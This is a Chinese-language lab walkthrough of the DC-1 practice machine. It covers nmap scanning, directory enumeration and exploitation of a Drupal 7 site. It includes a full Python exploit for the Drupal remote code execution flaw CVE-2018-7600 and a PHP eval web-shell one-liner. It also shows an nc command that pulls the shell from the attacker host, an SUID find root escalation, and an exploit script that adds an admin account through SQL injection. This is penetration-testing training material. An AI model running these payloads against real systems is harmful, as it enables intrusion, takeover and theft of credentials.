入门靶机:DC-1的渗透测试

发布于:2024-12-23 ⋅ 阅读:(17) ⋅ 点赞:(0)

1、收集信息

使用 nmap 探测到靶机的地址为 192.168.56.138

nmap -sn 192.168.56.0/24
# 得到靶机ip为:192.168.56.138

1.1 nmap 扫描

nmap 扫描端口
# Nmap 7.92 scan initiated Thu Dec 19 07:50:24 2024 as: nmap -sT --min-rate 10000 -o check/138port 192.168.56.138
Nmap scan report for 192.168.56.138
Host is up (0.00080s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
111/tcp open  rpcbinda

# Nmap done at Thu Dec 19 07:50:25 2024 -- 1 IP address (1 host up) scanned in 0.07 seconds
nmap 扫描端口详细信息

扫描端口信息,发现三个端口,其中 80 端口使用的是Drupal 7 的服务

nmap -sT -sV -sC -O -o check/138portinfo 192.168.56.138
# -sT 扫描开放的tcp端口
# -sV 扫描开放的服务
# -sC 使用脚本扫描
# -o 将扫描信息保存到指定文件
# Nmap 7.92 scan initiated Thu Dec 19 07:53:00 2024 as: nmap -sT -sV -sC -O -o check/138portinfo 192.168.56.138
Nmap scan report for 192.168.56.138
Host is up (0.00031s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to Drupal Site | Drupal Site
|_http-server-header: Apache/2.2.22 (Debian)
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          38815/udp   status
|   100024  1          44275/udp6  status
|   100024  1          45646/tcp   status
|_  100024  1          48733/tcp6  status
MAC Address: 00:0C:29:E1:99:46 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 19 07:53:10 2024 -- 1 IP address (1 host up) scanned in 9.92 seconds
nmap 脚本扫描端口漏洞信息
# Nmap 7.92 scan initiated Thu Dec 19 08:51:22 2024 as: nmap --script=vuln -p22,80,111 -o check/138script 192.168.56.138
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.56.138
Host is up (0.00028s latency).

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.138
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.56.138:80/
|     Form id: user-login-form
|     Form action: /node?destination=node
|     
|     Path: http://192.168.56.138:80/user/password
|     Form id: user-pass
|     Form action: /user/password
|     
|     Path: http://192.168.56.138:80/node?destination=node
|     Form id: user-login-form
|     Form action: /node?destination=node
|     
|     Path: http://192.168.56.138:80/user/register
|     Form id: user-register-form
|     Form action: /user/register
|     
|     Path: http://192.168.56.138:80/user
|     Form id: user-login
|     Form action: /user
|     
|     Path: http://192.168.56.138:80/user/
|     Form id: user-login
|_    Form action: /user/
| http-vuln-cve2014-3704: 
|   VULNERABLE:
|   Drupal - pre Auth SQL Injection Vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-3704
|         The expandArguments function in the database abstraction API in
|         Drupal core 7.x before 7.32 does not properly construct prepared
|         statements, which allows remote attackers to conduct SQL injection
|         attacks via an array containing crafted keys.
|           
|     Disclosure date: 2014-10-15
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704
|       https://www.drupal.org/SA-CORE-2014-005
|       http://www.securityfocus.com/bid/70595
|_      https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
| http-enum: 
|   /rss.xml: RSS or Atom feed
|   /robots.txt: Robots file
|   /UPGRADE.txt: Drupal file
|   /INSTALL.txt: Drupal file
|   /INSTALL.mysql.txt: Drupal file
|   /INSTALL.pgsql.txt: Drupal file
|   /: Drupal version 7 
|   /README: Interesting, a readme.
|   /README.txt: Interesting, a readme.
|   /0/: Potentially interesting folder
|_  /user/: Potentially interesting folder
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
111/tcp open  rpcbind
MAC Address: 00:0C:29:E1:99:46 (VMware)
# Nmap done at Thu Dec 19 08:54:01 2024 -- 1 IP address (1 host up) scanned in 159.36 seconds

1.2 目录遍历

/search               (Status: 403) [Size: 7563]
/misc                 (Status: 301) [Size: 315] [--> http://192.168.56.138/misc/]
/themes               (Status: 301) [Size: 317] [--> http://192.168.56.138/themes/]
/0                    (Status: 200) [Size: 9041]
/user                 (Status: 200) [Size: 7480]
/modules              (Status: 301) [Size: 318] [--> http://192.168.56.138/modules/]
/admin                (Status: 403) [Size: 7718]
/scripts              (Status: 301) [Size: 318] [--> http://192.168.56.138/scripts/]
/node                 (Status: 200) [Size: 9041]
/sites                (Status: 301) [Size: 316] [--> http://192.168.56.138/sites/]
/includes             (Status: 301) [Size: 319] [--> http://192.168.56.138/includes/]
/profiles             (Status: 301) [Size: 319] [--> http://192.168.56.138/profiles/]
/robots               (Status: 200) [Size: 1561]
/batch                (Status: 403) [Size: 7853]
/server-status        (Status: 403) [Size: 295]
/flag1                (Status: 200) [Size: 52]

2、信息整合

2.1 端口

22/tcp  open  ssh
80/tcp  open  http   Apache httpd 2.2.22 + Drupal 7 
111/tcp open  rpcbinda

2.2 页面

在页面查看发现主页是登录界面,但是使用弱口令和万能密码没办法进入后台

3、渗透

3.1 获取 shell

1. 查找drupal site的漏洞

由于 nmap 扫描到系统使用的是Drupal 7 的框架,这里优先找历年该服务的漏洞信息,百度发现drupal 存在有远程代码执行漏洞CVE-2018-7600,并且漏洞利用页面是注册的页面,百度找到对应的利用方式

2. 查看漏洞利用脚本

百度发现的 python 漏洞利用脚本,这里查看发现是循环调用接口来请求注册页面,达到获取 shell 的假象,运行可以成功执行漏洞

python getshell.py http://192.168.56.138/
import requests
import re
from sys import argv

domain = argv[1]

def exploit(command):
	HOST=domain
	get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':command, 'name[#type]':'markup'}
	post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
	r = requests.post(HOST, data=post_params, params=get_params)
	m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
	if m:
	    found = m.group(1)
	    get_params = {'q':'file/ajax/name/#value/' + found}
	    post_params = {'form_build_id':found}
	    r = requests.post(HOST, data=post_params, params=get_params)
	    print("\n".join(r.text.split("\n")[:-1]))

# 循环执行exp,每次回显出执行结果
while True:   
	command = input('$ ')
	exploit(command)

3. 上传木马,获取正常 shell

这里使用 weevely 创建一个木马,然后用前面的远程执行漏洞将木马下载到靶机(这里也可以直接用命令执行漏洞执行创建一个木马 然后使用蚁剑连接木马,执行命令echo '<?php eval($_REQURST[cmd]);?>' > shell.php

weevely generate cmd shell.php 

使用 nc 命令将木马上传到靶机内

nc -lnvp 4444 < shell.php
# kali内运行nc监听端口

python getshell.py http://192.168.56.138/
# 运行py利用远程代码执行漏洞,将木马上传
nc 192.168.56.128 4444 >shell.php
# 运行nc通过远程代码执行漏洞下载木马

4. 使用 weevely 获取正常 shell

使用 curl 测试,木马已经正常上传成功了,可以直接用 weevely 连接,成功获取 shell

curl -X GET http://192.168.56.138/shell.php
# 使用curl测试shell.php页面是否存在

weevely http://192.168.56.138/shell.php  cmd
# 连接木马

3.2 提权

1. 查看 SUID 权限命令

使用 find 命令查找有 suid 权限的命令,这里发现 find 有 suid 权限

find / -type f -perm -4000 2>/dev/null

2. 查看 find 提权的方式

这里在提权命令汇总的网站查看 find 提权的方式,参考连接:find | GTFOBins

3. 使用 find 提权

这里测试在 weevely 里面提权好像提权不了,又重新使用 nc 在 kali 监听端口重新反弹了一个 shell 进行提权,可以看见,已经获取到 root 的组权限,whoami 查看是 root 权限了

find . -exec /bin/sh \; -quit

3.3 查看 flag

1. flag1

使用 find 命令可以看到 flag1 和 flag4,其中 flag1 可以直接查看,查看 flag1 提示我们需要去配置文件查看

2. flag2

百度发现网站的配置文件在 sites 目录下,我们去网站根目录的 sites 目录下查找,遍历 sites 目录,发现在 default 下面有个 setting.php 文件,查看该文件我们发现又 flag2 文件和数据库的账号密码

cd /var/www/sites/default

cat setting.php

3. flag3

flag2 提示我们需要提权,应该是需要获取最高权限去网站查看,这里登录到数据库查看 admin 账号的密码发现密码是特殊处理的,这里可以找到系统的修改密码的方式,然后尝试单独运行修改密码的文件修改 admin 的密码(PS:生成密码的文件在scripts/password-hash.sh 文件,使用命令为php scripts/password-hash.sh 123456加密一个密码,然后再 mysql 里替换即可)

但是我们这里由于之前百度漏洞时发现该系统还有一个 sql 注入漏洞,可以写入一个最高权限的用户,因此使用创建一个最高权限的账号来修改 admin 的密码

searchsploit Drupal 7
# 查找drupal的漏洞发现添加admin权限用户的exp

searchsploit Drupal 7 -m 34992.py 
# 复制漏洞利用脚本到当前目录

python2 34992.py -t http://192.168.56.138 -u rmgcc -p rmgcc
# 执行漏洞利用脚本,创建用户rmgcc

创建成功后登录网站,可以看到有修改其他账号密码的地方,可以直接修改 admin 账号的密码

将 admin 的账号密码修改后,使用 admin 的账号密码登录,查看内容发现有 flag3

4. flag4

之前使用 find 命令发现 flag4 在/home/flag4目录下

flag4 打开发现提示 flag 在/root 目录,直接跳转到 root 目录查看 flag

4、总结

4.1 渗透过程

  1. 使用 nmap 扫描发现网站的框架为drupal 7
  2. 通过查找框架的历史漏洞进行利用,使用远程代码执行漏洞可以获取 shell,可以写入木马或者反连
  3. 通过查找 suid 权限文件找到 find,通过 find 提权获取最高权限

find / -perm -u=s -type f 2>/dev/null

  1. 一个网站靶机的 flag 可能再数据库、后台和网页上,因此都可以查看一遍

4.2 知识点

  1. 利用过程中可以看下/etc下的 passwd, group shadow,提升权限后必看,里面可能会有其他信息,像这里就有 flag4 一个账号和密码信息
  2. 进入网站前可以注册一个账号看看网站的各个页面,了解一下网站都有哪些功能